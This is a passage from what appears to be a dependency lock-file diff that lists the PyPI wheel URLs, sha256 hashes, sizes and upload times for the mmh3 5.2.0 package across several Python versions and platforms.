"https://files.pythonhosted.org/packages/40/cc/5683ba20a21bcfb3f1605b1c474f46d30354f728a7412201f59f453d405a/mmh3-5.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8b0c53fe0994beade1ad7c0f13bd6fec980a0664bfbe5a6a7d64500b9ab76772", size = 101701, upload-time = "2025-07-29T07:41:48.259Z" }, + { url = "https://files.pythonhosted.org/packages/0e/24/99ab3fb940150aec8a26dbdfc39b200b5592f6aeb293ec268df93e054c30/mmh3-5.2.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:49037d417419863b222ae47ee562b2de9c3416add0a45c8d7f4e864be8dc4f89", size = 96712, upload-time = "2025-07-29T07:41:49.467Z" }, + { url = "https://files.pythonhosted.org/packages/61/04/d7c4cb18f1f001ede2e8aed0f9dbbfad03d161c9eea4fffb03f14f4523e5/mmh3-5.2.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:6ecb4e750d712abde046858ee6992b65c93f1f71b397fce7975c3860c07365d2", size = 110302, upload-time = "2025-07-29T07:41:50.387Z" }, + { url = "https://files.pythonhosted.org/packages/d8/bf/4dac37580cfda74425a4547500c36fa13ef581c8a756727c37af45e11e9a/mmh3-5.2.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:382a6bb3f8c6532ea084e7acc5be6ae0c6effa529240836d59352398f002e3fc", size = 111929, upload-time = "2025-07-29T07:41:51.348Z" }, + { url = "https://files.pythonhosted.org/packages/eb/b1/49f0a582c7a942fb71ddd1ec52b7d21d2544b37d2b2d994551346a15b4f6/mmh3-5.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7733ec52296fc1ba22e9b90a245c821adbb943e98c91d8a330a2254612726106", size = 100111, upload-time = "2025-07-29T07:41:53.139Z" }, + { url = "https://files.pythonhosted.org/packages/dc/94/ccec09f438caeb2506f4c63bb3b99aa08a9e09880f8fc047295154756210/mmh3-5.2.0-cp310-cp310-win32.whl", hash = "sha256:127c95336f2a98c51e7682341ab7cb0be3adb9df0819ab8505a726ed1801876d", size = 40783, upload-time = "2025-07-29T07:41:54.463Z" }, + { url = "https://files.pythonhosted.org/packages/ea/f4/8d39a32c8203c1cdae88fdb04d1ea4aa178c20f159df97f4c5a2eaec702c/mmh3-5.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:419005f84ba1cab47a77465a2a843562dadadd6671b8758bf179d82a15ca63eb", size = 41549, upload-time = "2025-07-29T07:41:55.295Z" }, + { url = "https://files.pythonhosted.org/packages/cc/a1/30efb1cd945e193f62574144dd92a0c9ee6463435e4e8ffce9b9e9f032f0/mmh3-5.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:d22c9dcafed659fadc605538946c041722b6d1104fe619dbf5cc73b3c8a0ded8", size = 39335, upload-time = "2025-07-29T07:41:56.194Z" }, + { url = "https://files.pythonhosted.org/packages/f7/87/399567b3796e134352e11a8b973cd470c06b2ecfad5468fe580833be442b/mmh3-5.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7901c893e704ee3c65f92d39b951f8f34ccf8e8566768c58103fb10e55afb8c1", size = 56107, upload-time = "2025-07-29T07:41:57.07Z" }, + { url = "https://files.pythonhosted.org/packages/c3/09/830af30adf8678955b247d97d3d9543dd2fd95684f3cd41c0cd9d291da9f/mmh3-5.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4a5f5536b1cbfa72318ab3bfc8a8188b949260baed186b75f0abc75b95d8c051", size = 40635, upload-time = "2025-07-29T07:41:57.903Z" }, + { url = "https://files.pythonhosted.org/packages/07/14/eaba79eef55b40d653321765ac5e8f6c9ac38780b8a7c2a2f8df8ee0fb72/mmh3-5.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cedac4f4054b8f7859e5aed41aaa31ad03fce6851901a7fdc2af0275ac533c10", size = 40078, upload-time = "2025-07-29T07:41:58.772Z" }, + { url = "https://files.pythonhosted.org/packages/bb/26/83a0f852e763f81b2265d446b13ed6d49ee49e1fc0c47b9655977e6f3d81/mmh3-5.2.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:eb756caf8975882630ce4e9fbbeb9d3401242a72528230422c9ab3a0d278e60c", size = 97262, upload-time = "2025-07-29T07:41:59.678Z" }, + { url = "https://files.pythonhosted.org/packages/00/7d/b7133b10d12239aeaebf6878d7eaf0bf7d3738c44b4aba3c564588f6d802/mmh3-5.2.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:097e13c8b8a66c5753c6968b7640faefe85d8e38992703c1f666eda6ef4c3762", size = 103118, upload-time = "2025-07-29T07:42:01.197Z" }, + { url = "https://files.pythonhosted.org/packages/7b/3e/62f0b5dce2e22fd5b7d092aba285abd7959ea2b17148641e029f2eab1ffa/mmh3-5.2.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a7c0c7845566b9686480e6a7e9044db4afb60038d5fabd19227443f0104eeee4", size = 106072, upload-time = "2025-07-29T07:42:02.601Z" }, + { url = "https://files.pythonhosted.org/packages/66/84/ea88bb816edfe65052c757a1c3408d65c4201ddbd769d4a287b0f1a628b2/mmh3-5.2.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:61ac226af521a572700f863d6ecddc6ece97220ce7174e311948ff8c8919a363", size = 112925, upload-time = "2025-07-29T07:42:03.632Z" }, + { url = "https://files.pythonhosted.org/packages/2e/13/c9b1c022807db575fe4db806f442d5b5784547e2e82cff36133e58ea31c7/mmh3-5.2.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:582f9dbeefe15c32a5fa528b79b088b599a1dfe290a4436351c6090f90ddebb8", size = 120583, upload-time = "2025-07-29T07:42:04.991Z" }, + { url = "https://files.pythonhosted.org/packages/8a/5f/0e2dfe1a38f6a78788b7eb2b23432cee24623aeabbc907fed07fc17d6935/mmh3-5.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2ebfc46b39168ab1cd44670a32ea5489bcbc74a25795c61b6d888c5c2cf654ed", size = 99127, upload-time = "2025-07-29T07:42:05.929Z" }, + { url = "https://files.pythonhosted.org/packages/77/27/aefb7d663b67e6a0c4d61a513c83e39ba2237e8e4557fa7122a742a23de5/mmh3-5.2.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:1556e31e4bd0ac0c17eaf220be17a09c171d7396919c3794274cb3415a9d3646", size = 98544, upload-time = "2025-07-29T07:42:06.87Z" }, + { url = "https://files.pythonhosted.org/packages/ab/97/a21cc9b1a7c6e92205a1b5fa030cdf62277d177570c06a239eca7bd6dd32/mmh3-5.2.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:81df0dae22cd0da87f1c978602750f33d17fb3d21fb0f326c89dc89834fea79b", size = 106262, upload-time = "2025-07-29T07:42:07.804Z" }, + { url = "https://files.pythonhosted.org/packages/43/18/db19ae82ea63c8922a880e1498a75342311f8aa0c581c4dd07711473b5f7/mmh3-5.2.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:eba01ec3bd4a49b9ac5ca2bc6a73ff5f3af53374b8556fcc2966dd2af9eb7779", size = 109824, upload-time = "2025-07-29T07:42:08.735Z" }, + { url = "https://files.pythonhosted.org/packages/9f/f5/41dcf0d1969125fc6f61d8618b107c79130b5af50b18a4651210ea52ab40/mmh3-5.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e9a011469b47b752e7d20de296bb34591cdfcbe76c99c2e863ceaa2aa61113d2", size = 97255, upload-time = "2025-07-29T07:42:09.706Z" }, + { url = "https://files.pythonhosted.org/packages/32/b3/cce9eaa0efac1f0e735bb178ef9d1d2887b4927fe0ec16609d5acd492dda/mmh3-5.2.0-cp311-cp311-win32.whl", hash = "sha256:bc44fc2b886243d7c0d8daeb37864e16f232e5b56aaec27cc781d848264cfd28", size = 40779, upload-time = "2025-07-29T07:42:10.546Z" }, + { url = "https://files.pythonhosted.org/packages/7c/e9/3fa0290122e6d5a7041b50ae500b8a9f4932478a51e48f209a3879fe0b9b/mmh3-5.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:8ebf241072cf2777a492d0e09252f8cc2b3edd07dfdb9404b9757bffeb4f2cee", size = 41549, upload-time = "2025-07-29T07:42:11.399Z" }, + { url = "https://files.pythonhosted.org/packages/3a/54/c277475b4102588e6f06b2e9095ee758dfe31a149312cdbf62d39a9f5c30/mmh3-5.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:b5f317a727bba0e633a12e71228bc6a4acb4f471a98b1c003163b917311ea9a9", size = 39336, upload-time = "2025-07-29T07:42:12.209Z" }, + { url = "https://files.pythonhosted.org/packages/bf/6a/d5aa7edb5c08e0bd24286c7d08341a0446f9a2fbbb97d96a8a6dd81935ee/mmh3-5.2.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:384eda9361a7bf83a85e09447e1feafe081034af9dd428893701b959230d84be", size = 56141, upload-time = "2025-07-29T07:42:13.456Z" }, + { url = "https://files.pythonhosted.org/packages/08/49/131d0fae6447bc4a7299ebdb1a6fb9d08c9f8dcf97d75ea93e8152ddf7ab/mmh3-5.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2c9da0d568569cc87315cb063486d761e38458b8ad513fedd3dc9263e1b81bcd", size = 40681, upload-time = "2025-07-29T07:42:14.306Z" }, + { url = "https://files.pythonhosted.org/packages/8f/6f/9221445a6bcc962b7f5ff3ba18ad55bba624bacdc7aa3fc0a518db7da8ec/mmh3-5.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86d1be5d63232e6eb93c50881aea55ff06eb86d8e08f9b5417c8c9b10db9db96", size = 40062, upload-time = "2025-07-29T07:42:15.08Z" }, + { url = "https://files.pythonhosted.org/packages/1e/d4/6bb2d0fef81401e0bb4c297d1eb568b767de4ce6fc00890bc14d7b51ecc4/mmh3-5.2.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bf7bee43e17e81671c447e9c83499f53d99bf440bc6d9dc26a841e21acfbe094", size = 97333, upload-time = "2025-07-29T07:42:16.436Z" }, + { url = "https://files.pythonhosted.org/packages/44/e0/ccf0daff8134efbb4fbc10a945ab53302e358c4b016ada9bf97a6bdd50c1/mmh3-5.2.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7aa18cdb58983ee660c9c400b46272e14fa253c675ed963d3812487f8ca42037", size = 103310, upload-time = "2025-07-29T07:42:17.796Z" }, + { url = "https://files.pythonhosted.org/packages/02/63/1965cb08a46533faca0e420e06aff8bbaf9690a6f0ac6ae6e5b2e4544687/mmh3-5.2.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ae9d032488fcec32d22be6542d1a836f00247f40f320844dbb361393b5b22773", size = 106178, upload-time = "2025-07-29T07:42:19.281Z" }, + { url = "https://files.pythonhosted.org/packages/c2/41/c883ad8e2c234013f27f92061200afc11554ea55edd1bcf5e1accd803a85/mmh3-5.2.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1861fb6b1d0453ed7293200139c0a9011eeb1376632e048e3766945b13313c5", size = 113035, upload-time = "2025-07-29T07:42:20.356Z" }, + { url = "https://files.pythonhosted.org/packages/df/b5/1ccade8b1fa625d634a18bab7bf08a87457e09d5ec8cf83ca07cbea9d400/mmh3-5.2.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:99bb6a4d809aa4e528ddfe2c85dd5239b78b9dd14be62cca0329db78505e7b50", size = 120784, upload-time = "2025-07-29T07:42:21.377Z" }, + { url = "https://files.pythonhosted.org/packages/77/1c/919d9171fcbdcdab242e06394464ccf546f7d0f3b31e0d1e3a630398782e/mmh3-5.2.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1f8d8b627799f4e2fcc7c034fed8f5f24dc7724ff52f69838a3d6d15f1ad4765", size = 99137, upload-time = "2025-07-29T07:42:22.344Z" }, + { url = "https://files.pythonhosted.org/packages/66/8a/1eebef5bd6633d36281d9fc83cf2e9ba1ba0e1a77dff92aacab83001cee4/mmh3-5.2.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:b5995088dd7023d2d9f310a0c67de5a2b2e06a570ecfd00f9ff4ab94a67cde43", size = 98664, upload-time = "2025-07-29T07:42:23.269Z" }, + { url = "https://files.pythonhosted.org/packages/13/41/a5d981563e2ee682b21fb65e29cc0f517a6734a02b581359edd67f9d0360/mmh3-5.2.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:1a5f4d2e59d6bba8ef01b013c472741835ad961e7c28f50c82b27c57748744a4", size = 106459, upload-time = "2025-07-29T07:42:24.238Z" }, + { url = "https://files.pythonhosted.org/packages/24/31/342494cd6ab792d81e083680875a2c50fa0c5df475ebf0b67784f13e4647/mmh3-5.2.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fd6e6c3d90660d085f7e73710eab6f5545d4854b81b0135a3526e797009dbda3", size = 110038, upload-time = "2025-07-29T07:42:25.629Z" }, + { url = "https://files.pythonhosted.org/packages/28/44/efda282170a46bb4f19c3e2b90536513b1d821c414c28469a227ca5a1789/mmh3-5.2.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c4a2f3d83879e3de2eb8cbf562e71563a8ed15ee9b9c2e77ca5d9f73072ac15c", size = 97545, upload-time = "2025-07-29T07:42:27.04Z" }, + { url = "https://files.pythonhosted.org/packages/68/8f/534ae319c6e05d714f437e7206f78c17e66daca88164dff70286b0e8ea0c/mmh3-5.2.0-cp312-cp312-win32.whl", hash = "sha256:2421b9d665a0b1ad724ec7332fb5a98d075f50bc51a6ff854f3a1882bd650d49", size = 40805, upload-time = "2025-07-29T07:42:28.032Z" }, + { url = "https://files.pythonhosted.org/packages/b8/f6/f6abdcfefcedab3c964868048cfe472764ed358c2bf6819a70dd4ed4ed3a/mmh3-5.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:72d80005b7634a3a2220f81fbeb94775ebd12794623bb2e1451701ea732b4aa3", size = 41597, upload-time = "2025-07-29T07:42:28.894Z" }, + { url = "https://files.pythonhosted.org/packages/15/fd/f7420e8cbce45c259c770cac5718badf907b302d3a99ec587ba5ce030237/mmh3-5.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:3d6bfd9662a20c054bc216f861fa330c2dac7c81e7fb8307b5e32ab5b9b4d2e0", size = 39350, upload-time = "2025-07-29T07:42:29.794Z" }, + { url = "https://files.pythonhosted.org/packages/d8/fa/27f6ab93995ef6ad9f940e96593c5dd24744d61a7389532b0fec03745607/mmh3-5.2.0-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:e79c00eba78f7258e5b354eccd4d7907d60317ced924ea4a5f2e9d83f5453065", size = 40874, upload-time = "2025-07-29T07:42:30.662Z" }, + { url = "https://files.pythonhosted.org/packages/11/9c/03d13bcb6a03438bc8cac3d2e50f80908d159b31a4367c2e1a7a077ded32/mmh3-5.2.0-cp313-cp313-android_21_x86_64.whl", hash = "sha256:956127e663d05edbeec54df38885d943dfa27406594c411139690485128525de", size = 42012, upload-time = "2025-07-29T07:42:31.539Z" }, + { url = "https://files.pythonhosted.org/packages/4e/78/0865d9765408a7d504f1789944e678f74e0888b96a766d578cb80b040999/mmh3-5.2.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:c3dca4cb5b946ee91b3d6bb700d137b1cd85c20827f89fdf9c16258253489044", size = 39197, upload-time = "2025-07-29T07:42:32.374Z" }, + { url = "https://files.pythonhosted.org/packages/3e/12/76c3207bd186f98b908b6706c2317abb73756d23a4e68ea2bc94825b9015/mmh3-5.2.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:e651e17bfde5840e9e4174b01e9e080ce49277b70d424308b36a7969d0d1af73", size = 39840, upload-time = "2025-07-29T07:42:33.227Z" }, + { url = "https://files.pythonhosted.org/packages/5d/0d/574b6cce5555c9f2b31ea189ad44986755eb14e8862db28c8b834b8b64dc/mmh3-5.2.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:9f64bf06f4bf623325fda3a6d02d36cd69199b9ace99b04bb2d7fd9f89688504", size = 40644, upload-time = "2025-07-29T07:42:34.099Z" }, + { url = "https://files.pythonhosted.org/packages/52/82/3731f8640b79c46707f53ed72034a58baad400be908c87b0088f1f89f986/mmh3-5.2.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ddc63328889bcaee77b743309e5c7d2d52cee0d7d577837c91b6e7cc9e755e0b", size = 56153, upload-time = "2025-07-29T07:42:35.031Z" }, + { url = "https://files.pythonhosted.org/packages/4f/34/e02dca1d4727fd9fdeaff9e2ad6983e1552804ce1d92cc796e5b052159bb/mmh3-5.2.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:bb0fdc451fb6d86d81ab8f23d881b8d6e37fc373a2deae1c02d27002d2ad7a05", size = 40684, upload-time = "2025-07-29T07:42:35.914Z" }, + { url = "https://files.pythonhosted.org/packages/8f/36/3dee40767356e104967e6ed6d102ba47b0b1ce2a89432239b95a94de1b89/mmh3-5.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b29044e1ffdb84fe164d0a7ea05c7316afea93c00f8ed9449cf357c36fc4f814", size = 40057, upload-time = "2025-07-29T07:42:36.755Z" }, + { url = "https://files.pythonhosted.org/packages/31/58/228c402fccf76eb39a0a01b8fc470fecf21965584e66453b477050ee0e99/mmh3-5.2.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:58981d6ea9646dbbf9e59a30890cbf9f610df0e4a57dbfe09215116fd90b0093", size = 97344, upload-time = "2025-07-29T07:42:37.675Z" }, + { url = "https://files.pythonhosted.org/packages/34/82/fc5ce89006389a6426ef28e326fc065b0fbaaed230373b62d14c889f47ea/mmh3-5.2.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7e5634565367b6d98dc4aa2983703526ef556b3688ba3065edb4b9b90ede1c54", size = 103325, upload-time = "2025-07-29T07:42:38.591Z" }, + { url = "https://files.pythonhosted.org/packages/09/8c/261e85777c6aee1ebd53f2f17e210e7481d5b0846cd0b4a5c45f1e3761b8/mmh3-5.2.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0271ac12415afd3171ab9a3c7cbfc71dee2c68760a7dc9d05bf8ed6ddfa3a7a", size = 106240, upload-time = "2025-07-29T07:42:39.563Z" }, + { url = "https://files.pythonhosted.org/packages/70/73/2f76b3ad8a3d431824e9934403df36c0ddacc7831acf82114bce3c4309c8/mmh3-5.2.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:45b590e31bc552c6f8e2150ff1ad0c28dd151e9f87589e7eaf508fbdd8e8e908", size = 113060, upload-time = "2025-07-29T07:42:40.585Z" }, + { url = "https://files.pythonhosted.org/packages/9f/b9/7ea61a34e90e50a79a9d87aa1c0b8139a7eaf4125782b34b7d7383472633/mmh3-5.2.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bdde97310d59604f2a9119322f61b31546748499a21b44f6715e8ced9308a6c5", size = 120781, upload-time = "2025-07-29T07:42:41.618Z" }, + { url = "https://files.pythonhosted.org/packages/0f/5b/ae1a717db98c7894a37aeedbd94b3f99e6472a836488f36b6849d003485b/mmh3-5.2.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:fc9c5f280438cf1c1a8f9abb87dc8ce9630a964120cfb5dd50d1e7ce79690c7a", size = 99174, upload-time = "2025-07-29T07:42:42.587Z" }, + { url = "https://files.pythonhosted.org/packages/e3/de/000cce1d799fceebb6d4487ae29175dd8e81b48e314cba7b4da90bcf55d7/mmh3-5.2.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:c903e71fd8debb35ad2a4184c1316b3cb22f64ce517b4e6747f25b0a34e41266", size = 98734, upload-time = "2025-07-29T07:42:43.996Z" }, + { url = "https://files.pythonhosted.org/packages/79/19/0dc364391a792b72fbb22becfdeacc5add85cc043cd16986e82152141883/mmh3-5.2.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:eed4bba7ff8a0d37106ba931ab03bdd3915fbb025bcf4e1f0aa02bc8114960c5", size = 106493, upload-time = "2025-07-29T07:42:45.07Z" }, + { url = "https://files.pythonhosted.org/packages/3c/b1/bc8c28e4d6e807bbb051fefe78e1156d7f104b89948742ad310612ce240d/mmh3-5.2.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:1fdb36b940e9261aff0b5177c5b74a36936b902f473180f6c15bde26143681a9", size = 110089, upload-time = "2025-07-29T07:42:46.122Z" }, + { url = "https://files.pythonhosted.org/packages/3b/a2/d20f3f5c95e9c511806686c70d0a15479cc3941c5f322061697af1c1ff70/mmh3-5.2.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7303aab41e97adcf010a09efd8f1403e719e59b7705d5e3cfed3dd7571589290", size = 97571, upload-time = "2025-07-29T07:42:47.18Z" }, + { url = "https://files.pythonhosted.org/packages/7b/23/665296fce4f33488deec39a750ffd245cfc07aafb0e3ef37835f91775d14/mmh3-5.2.0-cp313-cp313-win32.whl", hash = "sha256:03e08c6ebaf666ec1e3d6ea657a2d363bb01effd1a9acfe41f9197decaef0051", size = 40806, upload-time = "2025-07-29T07:42:48.166Z" }, + { url = "https://files.pythonhosted.org/packages/59/b0/92e7103f3b20646e255b699e2d0327ce53a3f250e44367a99dc8be0b7c7a/mmh3-5.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:7fddccd4113e7b736706e17a239a696332360cbaddf25ae75b57ba1acce65081", size = 41600, upload-time = "2025-07-29T07:42:49.371Z" }, + { url = "https://files.pythonhosted.org/packages/99/22/0b2bd679a84574647de538c5b07ccaa435dbccc37815067fe15b90fe8dad/mmh3-5.2.0-cp313-cp313-win_arm64.whl", hash = "sha256:fa0c966ee727aad5406d516375593c5f058c766b21236ab8985693934bb5085b", size = 39349, upload-time = "2025-07-29T07:42:50.268Z" }, + { url = "https://files.pythonhosted.org/packages/f7/ca/a20db059a8a47048aaf550da14a145b56e9c7386fb8280d3ce2962dcebf7/mmh3-5.2.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:e5015f0bb6eb50008bed2d4b1ce0f2a294698a926111e4bb202c0987b4f89078", size = 39209, upload-time = "2025-07-29T07:42:51.559Z" }, + { url = "https://files.pythonhosted.org/packages/98/dd/e5094799d55c7482d814b979a0fd608027d0af1b274bfb4c3ea3e950bfd5/mmh3-5.2.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:e0f3ed828d709f5b82d8bfe14f8856120718ec4bd44a5b26102c3030a1e12501", size = 39843, upload-time = "2025-07-29T07:42:52.536Z" }, + { url = "https://files.pythonhosted.org/packages/f4/6b/7844d7f832c85400e7cc89a1348e4e1fdd38c5a38415bb5726bbb8fcdb6c/mmh3-5.2.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:f35727c5118aba95f0397e18a1a5b8405425581bfe53e821f0fb444cbdc2bc9b", size = 40648, upload-time = "2025-07-29T07:42:53.392Z" }, + { url = "https://files.pythonhosted.org/packages/1f/bf/71f791f48a21ff3190ba5225807cbe4f7223360e96862c376e6e3fb7efa7/mmh3-5.2.0-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3bc244802ccab5220008cb712ca1508cb6a12f0eb64ad62997156410579a1770", size = 56164, upload-time = "2025-07-29T07:42:54.267Z" }, + { url = "https://files.pythonhosted.org/packages/70/1f/f87e3d34d83032b4f3f0f528c6d95a98290fcacf019da61343a49dccfd51/mmh3-5.2.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:ff3d50dc3fe8a98059f99b445dfb62792b5d006c5e0b8f03c6de2813b8376110", size = 40692, upload-time = "2025-07-29T07:42:55.234Z" }, + { url = "https://files.pythonhosted.org/packages/a6/e2/db849eaed07117086f3452feca8c839d30d38b830ac59fe1ce65af8be5ad/mmh3-5.2.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:37a358cc881fe796e099c1db6ce07ff757f088827b4e8467ac52b7a7ffdca647", size = 40068, upload-time = "2025-07-29T07:42:56.158Z" }, + { url = "https://files.pythonhosted.org/packages/df/6b/209af927207af77425b044e32f77f49105a0b05d82ff88af6971d8da4e19/mmh3-5.2.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b9a87025121d1c448f24f27ff53a5fe7b6ef980574b4a4f11acaabe702420d63", size = 97367, upload-time = "2025-07-29T07:42:57.037Z" }, + { url = "https://files.pythonhosted.org/packages/ca/e0/78adf4104c425606a9ce33fb351f790c76a6c2314969c4a517d1ffc92196/mmh3-5.2.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1ba55d6ca32eeef8b2625e1e4bfc3b3db52bc63014bd7e5df8cc11bf2b036b12", size = 103306, upload-time = "2025-07-29T07:42:58.522Z" }, + { url = "https://files.pythonhosted.org/packages/a3/79/c2b89f91b962658b890104745b1b6c9ce38d50a889f000b469b91eeb1b9e/mmh3-5.2.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c9ff37ba9f15637e424c2ab57a1a590c52897c845b768e4e0a4958084ec87f22", size = 106312, upload-time = "2025-07-29T07:42:59.552Z" }, + { url = "https://files.pythonhosted.org/packages/4b/14/659d4095528b1a209be90934778c5ffe312177d51e365ddcbca2cac2ec7c/mmh3-5.2.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a094319ec0db52a04af9fdc391b4d39a1bc72bc8424b47c4411afb05413a44b5", size = 113135, upload-time = "2025-07-29T07:43:00.745Z" }, + { url = "https://files.pythonhosted.org/packages/8d/6f/cd7734a779389a8a467b5c89a48ff476d6f2576e78216a37551a97e9e42a/mmh3-5.2.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c5584061fd3da584659b13587f26c6cad25a096246a481636d64375d0c1f6c07", size = 120775, upload-time = "2025-07-29T07:43:02.124Z" }, + { url = "https://files.pythonhosted.org/packages/1d/ca/8256e3b96944408940de3f9291d7e38a283b5761fe9614d4808fcf27bd62/mmh3-5.2.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ecbfc0437ddfdced5e7822d1ce4855c9c64f46819d0fdc4482c53f56c707b935", size = 99178, upload-time = "2025-07-29T07:43:03.182Z" }, + { url = "https://files.pythonhosted.org/packages/8a/32/39e2b3cf06b6e2eb042c984dab8680841ac2a0d3ca6e0bea30db1f27b565/mmh3-5.2.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:7b986d506a8e8ea345791897ba5d8ba0d9d8820cd4fc3e52dbe6de19388de2e7", size = 98738, upload-time = "2025-07-29T07:43:04.207Z" }, + { url = "https://files.pythonhosted.org/packages/61/d3/7bbc8e0e8cf65ebbe1b893ffa0467b7ecd1bd07c3bbf6c9db4308ada22ec/mmh3-5.2.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:38d899a156549da8ef6a9f1d6f7ef231228d29f8f69bce2ee12f5fba6d6fd7c5", size = 106510, upload-time = "2025-07-29T07:43:05.656Z" }, + { url = "https://files.pythonhosted.org/packages/10/99/b97e53724b52374e2f3859046f0eb2425192da356cb19784d64bc17bb1cf/mmh3-5.2.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d86651fa45799530885ba4dab3d21144486ed15285e8784181a0ab37a4552384", size = 110053, upload-time = "2025-07-29T07:43:07.204Z" }, + { url = "https://files.pythonhosted.org/packages/ac/62/3688c7d975ed195155671df68788c83fed6f7909b6ec4951724c6860cb97/mmh3-5.2.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c463d7c1c4cfc9d751efeaadd936bbba07b5b0ed81a012b3a9f5a12f0872bd6e", size = 97546, upload-time = "2025-07-29T07:43:08.226Z" }, + { url = "https://files.pythonhosted.org/packages/ca/3b/c6153250f03f71a8b7634cded82939546cdfba02e32f124ff51d52c6f991/mmh3-5.2.0-cp314-cp314-win32.whl", hash = "sha256:bb4fe46bdc6104fbc28db7a6bacb115ee6368ff993366bbd8a2a7f0076e6f0c0", size = 41422, upload-time = "2025-07-29T07:43:09.216Z" }, + { url = "https://files.pythonhosted.org/packages/74/01/a27d98bab083a435c4c07e9d1d720d4c8a578bf4c270bae373760b1022be/mmh3-5.2.0-cp314-cp314-win_amd64.whl", hash = "sha256:7c7f0b342fd06044bedd0b6e72177ddc0076f54fd89ee239447f8b271d919d9b", size = 42135, upload-time = "2025-07-29T07:43:10.183Z" }, + { url = 